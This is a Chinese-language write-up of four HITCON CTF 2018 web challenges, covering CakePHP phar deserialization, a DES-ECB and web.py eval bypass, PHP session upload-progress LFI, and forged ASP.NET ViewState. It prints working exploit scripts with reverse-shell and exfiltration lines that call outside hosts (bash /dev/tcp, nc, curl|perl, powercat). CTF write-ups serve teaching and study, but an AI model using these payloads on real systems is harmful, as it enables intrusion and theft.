HITCON CTF 2018 Web

前情提要

今年跟Balsn, BambooFox, Kerkeryuan共四隊一起組成BFKinesiS

我主要都看Web的部分,雖然很多賽中都沒做出來,但賽後花了點時間檢討了一下

所以就把檢討內容和心路歷程及中間可能碰到的坑打成這篇


Baby Cake

題目給一個輸入url的地方

送出後,他會發Request去該url,並把Response Body/Header Cache在mycache/IP/md5(url)/下面

另外有給Source Code

稍微看一下,可以發現是用CakePHP寫的

主要邏輯在PagesController

display()中可以看到

1
2
$data = $request->getQuery('data');
$url = $request->getQuery('url');

輸入有這兩個地方,中間會經過parse_url判斷scheme是否為httphttps

並且只允許這幾個HTTP Method: get, post, put, delete, patch

可以注意到,只有get method會去做Cache

1
2
3
4
5
6
7
8
$key = md5($url);
if ($method == 'get') {
$response = $this->cache_get($key);
if (!$response) {
$response = $this->httpclient($method, $url, $headers, null);
$this->cache_set($key, $response);
}
}

比較吸引人的地方是,他在存放Header進Cache時,會經過Serialize:

file_put_contents($cache_dir . "headers.cache", serialize($response->headers));

然後在取出Cache時,會Unserialize:

$headers = unserialize($headers);

但仔細跟了一下,會發現沒有可以利用的地方,我們沒辦法完全控制unserialize($headers)的輸入

所以只能放棄這條路,但看來看去,好像也沒其他地方有洞

最後跟了一下他的httpclient(),他裡面其實包了Client,也就是Cake\Http\Client

1
2
$http = new Client();
return $http->$method($url, $data, $options);

跟進去看一下,可以發現它每個method都有一個function做處理,但基本架構都差不多

所以先跟get()看看

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
public function get($url, $data = [], array $options = [])
{
$options = $this->_mergeOptions($options);
$body = null;
if (isset($data['_content'])) {
$body = $data['_content'];
unset($data['_content']);
}
$url = $this->buildUrl($url, $data, $options);
return $this->_doRequest(
Request::METHOD_GET,
$url,
$body,
$options
);
}

裡頭呼叫buildUrl($url, $data, $options),跟進去可以看到,當options, data為空時,會直接return

所以對get()來說,這邊不會做啥事情

繼續看下去,他會呼叫__doRequest(Request::METHOD_GET,$url,$body,$options);

裡頭又呼叫_createRequest($method,$url,$data,$options);

再跟進去看,裡頭先對header做處理,然後呼叫new Request($url, $method, $headers, $data);

繼續往Request.php追:

1
2
3
4
5
6
7
8
9
10
11
12
public function __construct($url = '', $method = self::METHOD_GET, array $headers = [], $data = null)
{
$this->validateMethod($method);
$this->method = $method;
$this->uri = $this->createUri($url);
$headers += [
'Connection' => 'close',
'User-Agent' => 'CakePHP'
];
$this->addHeaders($headers);
$this->body($data);
}

這裡會先呼叫validateMethod($method)做一些判斷,但沒啥可利用的地方

接著呼叫createUri($url),跟進去會看到return new Uri($uri)

其實這邊後面再跟下去,也沒啥可以利用的地方

後面在做的事情大概是先parseUri($uri),然後裡面會parse_url($uri),接著設定scheme, userInfo, host, port, path, …

跟完這邊,再往回看,回到剛剛的Request::__construct

裡頭會呼叫$this->addHeaders($headers),但一樣沒啥值得利用的地方

最後會呼叫$this->body($data)

可以發現當$body ($data)為Array時,會去

1
2
3
4
5
6
if (is_array($body)) {
$formData = new FormData();
$formData->addMany($body);
$this->header('Content-Type', $formData->contentType());
$body = (string)$formData;
}

跟進addMany()瞧瞧

1
2
3
foreach ($data as $name => $value) {
$this->add($name, $value);
}

裡頭對$data每個元素做add()

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
public function add($name, $value = null)
{
if (is_array($value)) {
$this->addRecursive($name, $value);
} elseif (is_resource($value)) {
$this->addFile($name, $value);
} elseif (is_string($value) && strlen($value) && $value[0] === '@') {
trigger_error(
'Using the @ syntax for file uploads is not safe and is deprecated. ' .
'Instead you should use file handles.',
E_USER_DEPRECATED
);
$this->addFile($name, $value);
} elseif ($name instanceof FormDataPart && $value === null) {
$this->_hasComplexPart = true;
$this->_parts[] = $name;
} else {
$this->_parts[] = $this->newPart($name, $value);
}
return $this;
}

我們可以發現當$value@開頭的字串時,雖然會trigger_error,但後面會繼續addFile($name, $value)

跟進去

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
public function addFile($name, $value)
{
$this->_hasFile = true;
$filename = false;
$contentType = 'application/octet-stream';
if (is_resource($value)) {
$content = stream_get_contents($value);
if (stream_is_local($value)) {
$finfo = new finfo(FILEINFO_MIME);
$metadata = stream_get_meta_data($value);
$contentType = $finfo->file($metadata['uri']);
$filename = basename($metadata['uri']);
}
} else {
$finfo = new finfo(FILEINFO_MIME);
$value = substr($value, 1);
$filename = basename($value);
$content = file_get_contents($value);
$contentType = $finfo->file($value);
}
$part = $this->newPart($name, $content);
$part->type($contentType);
if ($filename) {
$part->filename($filename);
}
$this->add($part);
return $part;
}

Bang! 終於找到一點有趣的東西惹

可以看到他會把$value直接丟進file_get_contents($value)

統整一下,這個$value是從$data陣列來的,而$data是直接從getQuery('data')來的!

繼續往下跟,會發現它把讀出來的內容直接透過fopen送到$url指定的地方

所以我們到這邊就有一個任意讀檔漏洞!

Payload:

1
2
3
import requests
s = requests.session()
s.post('http://13.230.134.135/', params={'url': 'http://yourip:yourport', 'data[]': '@/etc/passwd'})

這邊得感謝隊友發現這個洞,我第一次review時,看完_createUri就剛好沒跟到body(),然後繼續往回跟send()

偏偏send()後面還有非常一長串的calling chain,所以一整晚的時間就這樣沒了…

全部跟完,還以為沒洞,結果原來是少跟一個function…

OK

接下來,可以發現它底下有/read_flag/flag,沒辦法直接讀出flag

所以肯定得拿shell

但靠讀檔翻了一兩個小時,根本沒發現啥可以拿shell的東西

AWS metadata, ssh key, … 全踹過了

正當崩潰以為找錯洞時

我突然一個靈感閃現

題目給Body.cache,不就等於是讓我們上傳檔案嗎

然後file_get_contents()參數又可以塞PHP wrapper

那不就可以用今年最潮的phar://去反序列化嗎!

眼看離比賽結束已經不到1小時,只好拼拼看惹

一開始以為要自己構造POP chain,後來隊友發現phpggc有Monolog

而從source code可以看到也用了在漏洞影響範圍內的Monolog!

Monolog/RCE1 1.18 <= 1.23 rce __destruct

composer.json:

"monolog/monolog": "^1.23"

讚,立馬clone phpggc下來構造payload

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
<?php
namespace GadgetChain\Monolog;
class RCE1 extends \PHPGGC\GadgetChain\RCE
{
public $version = '1.18 <= 1.23';
public $vector = '__destruct';
public $author = 'cf';
public function generate(array $parameters)
{
$code = "bash -c 'bash -i >& /dev/tcp/kaibro.tw/10001 0>&1'";
@unlink('exp.phar');
$p = new \Phar('exp.phar');
$p->startBuffering();
$p->setStub("<?php __HALT_COMPILER();?>");
$p->addFromString("test.txt", "test");
$p->setMetadata(new \Monolog\Handler\SyslogUdpHandler(new \Monolog\Handler\BufferHandler(['current', 'system'],[$code, 'level' => null])));
$p->stopBuffering();
}
}

跑完會生成exp.phar

然後傳到我自己的Server: kaibro.tw/exp.phar

接著透過以下腳本觸發反序列化:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
import requests
import sys
import hashlib
m = hashlib.md5()
ip = '1.2.3.4'
r = requests.get('http://13.230.134.135/?url='+sys.argv[1])
s = requests.session()
m.update(sys.argv[1])
pay = "phar:///var/www/html/tmp/cache/mycache/"+ip+"/"+m.hexdigest()+"/body.cache"
print pay
print(s.post('http://13.230.134.135/', params={'url': 'http://kaibro.tw:6666/', 'data[]': '@'+pay}))

即可成功Reverse shell回來

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
www-data@ip-172-31-24-186:/$ ls -a
ls -a
.
..
bin
boot
dev
etc
flag
home
initrd.img
initrd.img.old
lib
lib64
lost+found
media
mnt
opt
proc
read_flag
root
run
sbin
snap
srv
sys
tmp
usr
var
vmlinuz
vmlinuz.old
www

hitcon{smart_implementation_of_CURLOPT_SAFE_UPLOAD><}

不過賽中其實沒拿到flag,後來賽後debug才發現payload中的/read_flag忘記加斜線…

如果當時乖乖reverse shell就好惹QQ


Oh My Raddit & v2

這題分類是Web+Crypto

其中第一題的flag是Encryption key

然後有給提示:

assert ENCRYPTION_KEY.islower()

接著觀察題目

可以發現,題目大致上都由參數s來決定要做啥行為

而會帶s參數的地方,可以分成三種:

  1. 文章連結
  2. 下載連結
  3. 顯示文章數 (最上頭那個下拉選單)

觀察下載連結,可以發現:

  1. 結尾都是3ca92540eb2d0a42 (8 bytes)
  2. 開頭都是2e7e305f2da018a2cf8208fa1fefc238 (16 bytes)

並且還發現似乎標題愈長,s就愈長

然後顯示文章數的地方也可以發現:

  1. total 10: 06e77f2958b65ffd3ca92540eb2d0a42

  2. total 100: 06e77f2958b65ffd2c0f7629b9e19627

只有後8 bytes不同

一臉ECB mode樣,且block size很明顯是8

從frequency可以發現3ca92540eb2d0a42出現次數非常高

可以大膽猜測他就是padding

到這邊我就去睡覺了

然後睡醒就發現,隊友猜出DES,然後硬爆出來key: megnnaro

(DES中,每個字元的二進位最低位不會參與運算,再加上提示說key都是小寫,所以key space只有abdfhjlnprtvxz,可以直接暴力踹key。似乎有機會踹到等價的key,但沒差可以去解密文然後載app.py讀code)

第一題flag: hitcon{megnnaro}

(賽後看到orange說可以用hashcat秒爆: sudo hashcat -a 3 -m 14000 '3ca92540eb2d0a42:0808080808080808' -1 DESALL.txt --hex-charset ?1?1?1?1?1?1?1?1 -n 4 --force --potfile-disable)

接著我就繼續看v2的部分

有了key之後,就能還原明文,然後可以修改下載功能的檔名,達到任意下載

第一步當然就是看 app.py: m=d&f=app.py

https://github.com/w181496/CTF/blob/master/hitcon2018/OhMyRaddit/app.py

可以看到他使用web.py

參數mr代表取出record,為d代表下載,為p代表抓文章(可以設定limit)

剛好之前有瞄過web.py的洞

所以我很快就找到這個 issue

可以看到他這邊是對RCE做的防禦,他下面有個邪惡的eval

也因為很久以前聽過,所以大概猜到這邊可以繞過dictionary['__builtins__'] = object()

而只需要從m=p&l=${command}就會從limit走到eval那邊

接著就是Bypass了

隊友一個秒速Bypass:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
# coding: UTF-8
import os
import urllib
import urlparse
import requests
from Crypto.Cipher import DES
ENCRPYTION_KEY = 'megnnaro'
def encrypt(s):
length = DES.block_size - (len(s) % DES.block_size)
s = s + chr(length)*length
cipher = DES.new(ENCRPYTION_KEY, DES.MODE_ECB)
return cipher.encrypt(s).encode('hex')
tmp = {
'm': 'p',
'l': "${[].__class__.__base__.__subclasses__()[-68]('/read_flag | nc kaibro.tw 6666',shell=1)}"
}
print(encrypt(urllib.urlencode(tmp)))
r = requests.get("http://13.115.255.46/?s="+encrypt(urllib.urlencode(tmp)))
print(r.text)

hitcon{Fr0m_SQL_Injecti0n_t0_Shell_1s_C00L!!!}


One Line PHP Challenge

神題,只有短短一行,但只有3隊解掉

看到這題,第一個想到的就是踹各種PHP Wrapper/Protocol

1
2
3
4
5
6
7
8
9
10
11
12
file:// — Accessing local filesystem
http:// — Accessing HTTP(s) URLs
ftp:// — Accessing FTP(s) URLs
php:// — Accessing various I/O streams
zlib:// — Compression Streams
data:// — Data (RFC 2397)
glob:// — Find pathnames matching pattern
phar:// — PHP Archive
ssh2:// — Secure Shell 2
rar:// — RAR
ogg:// — Audio streams
expect:// — Process Interaction Streams

由於allow_url_include沒開,所以很多wrapper到了include()都沒辦法利用

接著就很自然地想到phpinfo+lfi去RCE的套路

(沒聽過這個經典招的可以參考這個: https://www.insomniasec.com/downloads/publications/LFI%20With%20PHPInfo%20Assistance.pdf)

硬傳檔案上去,然後再刪除前的這短暫時間去Race Condition include拿shell

只是這題沒辦法直接取得tmp檔名,而且賽後才知道Ubuntu 17後預設開啟PrivateTmp,所以沒辦法使用這招拿shell

前幾天才聽cyku提過這個,但沒想到Ubuntu高版本預設會啟用…

PrivateTmp細節可以看這篇 https://www.cnblogs.com/lihuobao/p/5624071.html


然後賽後檢討才知道,原來預設會開session.upload_progress

(之前在某場中國CTF似乎碰過,但我賽中完全沒想到QQ)

他主要是用來給我們監控上傳檔案進度的功能

詳細可以參考 http://php.net/manual/zh/session.upload-progress.php

簡單說,當session.upload_progress.enabled開啟時,我們可以發送POST請求

PHP會在$_SESSION中添加我們的資料,若配合LFI,就能getshell

session.upload_progress.cleanup=on時,上傳成功的Session會立刻銷毀,必須Race condition來getshell

由於題目有給我們版本資訊,我們可以知道該版本session存放路徑為/var/lib/php/sessions

成功上傳的SESSION內容會放在sess_{PHPSESSID}

裡頭內容大致上長這樣:

1
upload_progress_aaaa|a:5:{s:10:"start_time";i:1540600520;s:14:"content_length";i:7182;s:15:"bytes_processed";i:5357;s:4:"done";b:0;s:5:"files";a:1:{i:0;a:7:{s:10:"field_name";s:1:"f";s:4:"name";s:6:"passwd";s:8:"tmp_name";N;s:5:"error";i:0;s:4:"done";b:0;s:10:"start_time";i:1540600520;s:15:"bytes_processed";i:5357;}}}

所以我們已經可以控制檔名和一部分裡頭的內容了

接著就是想辦法通過開頭為@<?php的檢查

這裡可以利用到php warpper的特性

他可以針對輸入流做base64, rot13, …等各種encode/decode

fileinclude()都支援這種用法

我們只要想辦法找出一種組合讓最後SESSION內容變成@<?php開頭就行!

這邊orange官方做法是去Base64 Decode三次

讓他Decode完結果剛好前面多餘的upload_progress_字串都爛掉,只留我們最後可控的部分

由於要decode三次,所以得保證三次decode完要變空字串,且不會吃到後面我們真正要放的@<?php xxx

這邊orange的做法是先塞ZZ在payload前,如此一來upload_progress_ZZ去base64 decode三次之後剛好會變空字串,且不會影響到後面

隨便亂塞的話,影響到後面的機率非常高,因為base64 decode是4個bytes、4個bytes去抓

只要中間值的範圍內可見字元非4的倍數就會往後抓,往後抓就很容易搞爛我們的payload

(p.s. php base64塞非範圍內字元不會影響結果,所以_之類的字元不影響)

然後後面部分還要注意三次decode時,中間值不能有=,測試發現php://filter在base64 decode遇到XXX=YYY這種狀況,decode會噴錯
(用base64_decode()就不會)

所以像以下orange的exp,就特別去random找中間值不會出現=的junk字串塞在後面

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
import sys
import string
import requests
from base64 import b64encode
from random import sample, randint
from multiprocessing.dummy import Pool as ThreadPool
HOST = 'http://54.250.246.238/'
sess_name = 'iamorange'
headers = {
'Connection': 'close',
'Cookie': 'PHPSESSID=' + sess_name
}
payload = '@<?php `curl orange.tw/w/bc.pl|perl -`;?>'
while 1:
junk = ''.join(sample(string.ascii_letters, randint(8, 16)))
x = b64encode(payload + junk)
xx = b64encode(b64encode(payload + junk))
xxx = b64encode(b64encode(b64encode(payload + junk)))
if '=' not in x and '=' not in xx and '=' not in xxx:
payload = xxx
print payload
break
def runner1(i):
data = {
'PHP_SESSION_UPLOAD_PROGRESS': 'ZZ' + payload + 'Z'
}
while 1:
fp = open('/etc/passwd', 'rb')
r = requests.post(HOST, files={'f': fp}, data=data, headers=headers)
fp.close()
def runner2(i):
filename = '/var/lib/php/sessions/sess_' + sess_name
filename = 'php://filter/convert.base64-decode|convert.base64-decode|convert.base64-decode/resource=%s' % filename
# print filename
while 1:
url = '%s?orange=%s' % (HOST, filename)
r = requests.get(url, headers=headers)
c = r.content
if c and 'orange' not in c:
print [c]
if sys.argv[1] == '1':
runner = runner1
else:
runner = runner2
pool = ThreadPool(32)
result = pool.map_async( runner, range(32) ).get(0xffff)

除了base64_decode外,也可以用各種encode方法,例如strip_tags,只要讓開頭最後變成@<?php即可


Why so Serials?

P.S. 因為以前幾乎沒碰過ASP.net的題目,所以這邊主要是根據cyku的writeuporange的writeup整理和各種google查資料學習而來

這題題目只有一個上傳頁面Default.aspx

有給Source Code: http://13.115.118.60/Default.aspx.txt

從Code可以看到,幾乎所有可以執行的副檔名都擋光了

ASP.NET Web Project File Types

但是可以發現他沒擋掉.shtml

http://13.115.118.60/kaibro.shtml

隨便踹一下,從錯誤訊息會看到SSINC-shtml

因此可以知道Server有開SSI(Server Side Include)

所以可以透過上傳.shtml, .shtm等副檔名的檔案來達到File Inclusion

其實SSI也有機會直接RCE,可以用<!--#exec cmd="command"-->

但試了一下,發現Server沒開EXEC,此路不通

那我們就只能從讀檔下手了

上傳<!--#include file="../../web.config"-->

我們可以看到machinekey

1
2
3
4
5
6
7
<?xml version="1.0" encoding="UTF-8"?>
<configuration>
<system.web>
<customErrors mode="Off"/>
<machineKey validationKey="b07b0f97365416288cf0247cffdf135d25f6be87" decryptionKey="6f5f8bd0152af0168417716c0ccb8320e93d0133e9d06a0bb91bf87ee9d69dc3" decryption="DES" validation="MD5" />
</system.web>
</configuration>

這樣一來我們就得到Machinekey了,所以加解密、MAC都沒問題惹

所以這題另一考點就是在ViewState

ViewState會把Web Form的內容保存下來,所以我們查看網頁原始碼可以看到有一些hidden的input tag,這樣做可以減少Server負擔

(Client這邊反而Loading增加)

這邊可以看詳細ViewState介紹 https://msdn.microsoft.com/en-us/library/ms972976.aspx

最重要的地方是ViewState存放的資料會經過序列化,取出時會反序列化

所以這邊其實就有一個反序列化漏洞,透過pwntester的ysoserial.net就可以直接串Gadget去RCE

只是通常ViewState都會有加密和MAC驗證,沒辦法直接偽造

這時候Machinekey就派上用場了

但其實以這題來說,他並沒有對ViewState加密,我們可以直接得到裡頭的內容 (因為沒有設定viewStateEncryptionMode)

Burp本身可以解ViewState,不喜歡用Burp的也可以找一些Online Decode網站去解ViewState (https://www.httpdebugger.com/tools/ViewstateDecoder.aspx)

可以看到ViewState的確不需要用Key解密,直接Decode就能解出來了

所以接著就去看該怎麼做MAC

這邊就參考Cyku的做法,直接去讀.net做MAC的Source Code

從這個連結,可以知道,ViewState是透過 ObjectStateFormatter 去做序列化的

ObjectStateFormatter is used by the PageStatePersister class and classes that derive from it to serialize view state and control state.

由於.net是open source,我們直接跟一下GitHub上的Code:

https://github.com/Microsoft/referencesource/blob/master/System.Web/UI/ObjectStateFormatter.cs#L766-L812

其中第798-801行:

1
2
3
4
// We need to encode if the page has EnableViewStateMac or we got passed in some mac key string`
else if ((_page != null && _page.EnableViewStateMac) || _macKeyBytes != null) {
buffer = MachineKeySection.GetEncodedData(buffer, GetMacKeyModifier(), 0, ref length);
}

可以猜測這邊的MachineKeySection.GetEncodedData()應該是關鍵的邏輯部分

跟進MachineKeySection.cs791-823行

裡頭呼叫了852-871行的HashData

這邊857-858行s_config.Validation == MachineKeyValidation.MD5應該是去判斷我們web.config中Validation的方法是否是用MD5,是的話就呼叫HashDataUsingNonKeyedAlgorithm()

繼續跟進去這個函數:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
private static byte[] HashDataUsingNonKeyedAlgorithm(HashAlgorithm hashAlgo, byte[] buf, byte[] modifier,
int start, int length, byte[] validationKey)
{
int totalLength = length + validationKey.Length + ((modifier != null) ? modifier.Length : 0);
byte [] bAll = new byte[totalLength];
Buffer.BlockCopy(buf, start, bAll, 0, length);
if (modifier != null) {
Buffer.BlockCopy(modifier, 0, bAll, length, modifier.Length);
}
Buffer.BlockCopy(validationKey, 0, bAll, length, validationKey.Length);
if (hashAlgo != null) {
return hashAlgo.ComputeHash(bAll);
} else {
byte[] newHash = new byte[MD5_HASH_SIZE];
int hr = UnsafeNativeMethods.GetSHA1Hash(bAll, bAll.Length, newHash, newHash.Length);
Marshal.ThrowExceptionForHR(hr);
return newHash;
}
}

這邊可以觀察到他會把buf從offset 0複製到bAll offset 0開始的位置,複製length長度

後面會將modifier從offset 0複製到bAll offset length開始的位置,也就是從剛剛前面的位置後面繼續複製

最後會再把validationKey從offset複製到bAll offset length開始的位置,也就是直接把剛剛modifier又蓋掉

modifier的來源是ObjectStateFormatter.cs
Serialize()第800行:

1
buffer = MachineKeySection.GetEncodedData(buffer, GetMacKeyModifier(), 0, ref length);

這邊的GetMacKeyModifier()

GetMacKeyModifier()的Source Code在ObjectStateFormatter.cs212-242行

可以觀察到在viewStateUserKey != null時,回傳的_macKeyBytes只有4 bytes

所以以這題情況來說,modifier的BlockCopy就完全沒意義,因為他跟validationKey寫入的位置一樣,而validationKey長度又比modifier

buffer都複製完後,就會開始做以下的Hash:

1
2
3
4
byte[] newHash = new byte[MD5_HASH_SIZE];
int hr = UnsafeNativeMethods.GetSHA1Hash(bAll, bAll.Length, newHash, newHash.Length);
Marshal.ThrowExceptionForHR(hr);
return newHash;

這邊雖然函數名是GetSHA1Hash,但實際回傳是MD5 Hash

所以總結一下,MD5 最後的MAC其實是:

md5(serialized_data + validation_key + "\x00\x00\x00\x00")

最後有4 bytes 0的原因是:

1
2
int totalLength = length + validationKey.Length + ((modifier != null) ? modifier.Length : 0);
byte [] bAll = new byte[totalLength];

bAll在create時,它的長度是serialized data長度+validationKey長度+modifier長度

可是我們modifiervalidationKey實際上重疊了,所以會多出最後的modifier長度的空間

到目前為止我們已經知道MAC的生成方法了

接著我們要偽造ViewState,就只需要把偽造的Seriailzed data按照上面方法簽完MAC,再串起來做Base64即可:

Base64(serialized_data + MAC)

即:

Base64(serialized_data + md5(serialized_data + validation_key + "\x00\x00\x00\x00"))

OK

懂算法後就能構造Payload了

ysoserial.net得先裝個VisualStudio環境Build來跑,頗麻煩

下這行指令就能生成Base64後的Serialized data:

ysoserial.exe -g TypeConfuseDelegate -f ObjectStateFormatter -c "powershell IEX (New-Object System.Net.Webclient).DownloadString('https://raw.githubusercontent.com/besimorhino/powercat/master/powercat.ps1');powercat -c kaibro.tw -p 5278 -e cmd" -o base64

接著,就照著前面算法去算MAC並append到serialized_data後面做base64:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
import base64
import hashlib
serialized_data_b64 = "/wEy7xIAAQAAAP////8BAAAAAAAAAAwCAAAASVN5c3RlbSwgVmVyc2lvbj00LjAuMC4wLCBDdWx0dXJlPW5ldXRyYWwsIFB1YmxpY0tleVRva2VuPWI3N2E1YzU2MTkzNGUwODkFAQAAAIQBU3lzdGVtLkNvbGxlY3Rpb25zLkdlbmVyaWMuU29ydGVkU2V0YDFbW1N5c3RlbS5TdHJpbmcsIG1zY29ybGliLCBWZXJzaW9uPTQuMC4wLjAsIEN1bHR1cmU9bmV1dHJhbCwgUHVibGljS2V5VG9rZW49Yjc3YTVjNTYxOTM0ZTA4OV1dBAAAAAVDb3VudAhDb21wYXJlcgdWZXJzaW9uBUl0ZW1zAAMABgiNAVN5c3RlbS5Db2xsZWN0aW9ucy5HZW5lcmljLkNvbXBhcmlzb25Db21wYXJlcmAxW1tTeXN0ZW0uU3RyaW5nLCBtc2NvcmxpYiwgVmVyc2lvbj00LjAuMC4wLCBDdWx0dXJlPW5ldXRyYWwsIFB1YmxpY0tleVRva2VuPWI3N2E1YzU2MTkzNGUwODldXQgCAAAAAgAAAAkDAAAAAgAAAAkEAAAABAMAAACNAVN5c3RlbS5Db2xsZWN0aW9ucy5HZW5lcmljLkNvbXBhcmlzb25Db21wYXJlcmAxW1tTeXN0ZW0uU3RyaW5nLCBtc2NvcmxpYiwgVmVyc2lvbj00LjAuMC4wLCBDdWx0dXJlPW5ldXRyYWwsIFB1YmxpY0tleVRva2VuPWI3N2E1YzU2MTkzNGUwODldXQEAAAALX2NvbXBhcmlzb24DIlN5c3RlbS5EZWxlZ2F0ZVNlcmlhbGl6YXRpb25Ib2xkZXIJBQAAABEEAAAAAgAAAAYGAAAAtQEvYyBwb3dlcnNoZWxsIElFWCAoTmV3LU9iamVjdCBTeXN0ZW0uTmV0LldlYmNsaWVudCkuRG93bmxvYWRTdHJpbmcoJ2h0dHBzOi8vcmF3LmdpdGh1YnVzZXJjb250ZW50LmNvbS9iZXNpbW9yaGluby9wb3dlcmNhdC9tYXN0ZXIvcG93ZXJjYXQucHMxJyk7cG93ZXJjYXQgLWMga2FpYnJvLnR3IC1wIDUyNzggLWUgY21kBgcAAAADY21kBAUAAAAiU3lzdGVtLkRlbGVnYXRlU2VyaWFsaXphdGlvbkhvbGRlcgMAAAAIRGVsZWdhdGUHbWV0aG9kMAdtZXRob2QxAwMDMFN5c3RlbS5EZWxlZ2F0ZVNlcmlhbGl6YXRpb25Ib2xkZXIrRGVsZWdhdGVFbnRyeS9TeXN0ZW0uUmVmbGVjdGlvbi5NZW1iZXJJbmZvU2VyaWFsaXphdGlvbkhvbGRlci9TeXN0ZW0uUmVmbGVjdGlvbi5NZW1iZXJJbmZvU2VyaWFsaXphdGlvbkhvbGRlcgkIAAAACQkAAAAJCgAAAAQIAAAAMFN5c3RlbS5EZWxlZ2F0ZVNlcmlhbGl6YXRpb25Ib2xkZXIrRGVsZWdhdGVFbnRyeQcAAAAEdHlwZQhhc3NlbWJseQZ0YXJnZXQSdGFyZ2V0VHlwZUFzc2VtYmx5DnRhcmdldFR5cGVOYW1lCm1ldGhvZE5hbWUNZGVsZWdhdGVFbnRyeQEBAgEBAQMwU3lzdGVtLkRlbGVnYXRlU2VyaWFsaXphdGlvbkhvbGRlcitEZWxlZ2F0ZUVudHJ5BgsAAACwAlN5c3RlbS5GdW5jYDNbW1N5c3RlbS5TdHJpbmcsIG1zY29ybGliLCBWZXJzaW9uPTQuMC4wLjAsIEN1bHR1cmU9bmV1dHJhbCwgUHVibGljS2V5VG9rZW49Yjc3YTVjNTYxOTM0ZTA4OV0sW1N5c3RlbS5TdHJpbmcsIG1zY29ybGliLCBWZXJzaW9uPTQuMC4wLjAsIEN1bHR1cmU9bmV1dHJhbCwgUHVibGljS2V5VG9rZW49Yjc3YTVjNTYxOTM0ZTA4OV0sW1N5c3RlbS5EaWFnbm9zdGljcy5Qcm9jZXNzLCBTeXN0ZW0sIFZlcnNpb249NC4wLjAuMCwgQ3VsdHVyZT1uZXV0cmFsLCBQdWJsaWNLZXlUb2tlbj1iNzdhNWM1NjE5MzRlMDg5XV0GDAAAAEttc2NvcmxpYiwgVmVyc2lvbj00LjAuMC4wLCBDdWx0dXJlPW5ldXRyYWwsIFB1YmxpY0tleVRva2VuPWI3N2E1YzU2MTkzNGUwODkKBg0AAABJU3lzdGVtLCBWZXJzaW9uPTQuMC4wLjAsIEN1bHR1cmU9bmV1dHJhbCwgUHVibGljS2V5VG9rZW49Yjc3YTVjNTYxOTM0ZTA4OQYOAAAAGlN5c3RlbS5EaWFnbm9zdGljcy5Qcm9jZXNzBg8AAAAFU3RhcnQJEAAAAAQJAAAAL1N5c3RlbS5SZWZsZWN0aW9uLk1lbWJlckluZm9TZXJpYWxpemF0aW9uSG9sZGVyBwAAAAROYW1lDEFzc2VtYmx5TmFtZQlDbGFzc05hbWUJU2lnbmF0dXJlClNpZ25hdHVyZTIKTWVtYmVyVHlwZRBHZW5lcmljQXJndW1lbnRzAQEBAQEAAwgNU3lzdGVtLlR5cGVbXQkPAAAACQ0AAAAJDgAAAAYUAAAAPlN5c3RlbS5EaWFnbm9zdGljcy5Qcm9jZXNzIFN0YXJ0KFN5c3RlbS5TdHJpbmcsIFN5c3RlbS5TdHJpbmcpBhUAAAA+U3lzdGVtLkRpYWdub3N0aWNzLlByb2Nlc3MgU3RhcnQoU3lzdGVtLlN0cmluZywgU3lzdGVtLlN0cmluZykIAAAACgEKAAAACQAAAAYWAAAAB0NvbXBhcmUJDAAAAAYYAAAADVN5c3RlbS5TdHJpbmcGGQAAACtJbnQzMiBDb21wYXJlKFN5c3RlbS5TdHJpbmcsIFN5c3RlbS5TdHJpbmcpBhoAAAAyU3lzdGVtLkludDMyIENvbXBhcmUoU3lzdGVtLlN0cmluZywgU3lzdGVtLlN0cmluZykIAAAACgEQAAAACAAAAAYbAAAAcVN5c3RlbS5Db21wYXJpc29uYDFbW1N5c3RlbS5TdHJpbmcsIG1zY29ybGliLCBWZXJzaW9uPTQuMC4wLjAsIEN1bHR1cmU9bmV1dHJhbCwgUHVibGljS2V5VG9rZW49Yjc3YTVjNTYxOTM0ZTA4OV1dCQwAAAAKCQwAAAAJGAAAAAkWAAAACgs="
validation_key = "b07b0f97365416288cf0247cffdf135d25f6be87".decode('hex')
serialized_data = base64.b64decode(serialized_data_b64)
m = hashlib.md5()
m.update(serialized_data + validation_key + "\x00\x00\x00\x00")
payload = base64.b64encode(serialized_data + m.digest())
print(payload)

得到的payload就是一個合法的ViewState value,直接塞過去就能Reverse shell !

hitcon{c0ngratulati0ns! you are .net king!}

好玩又實用的題目XD


Reference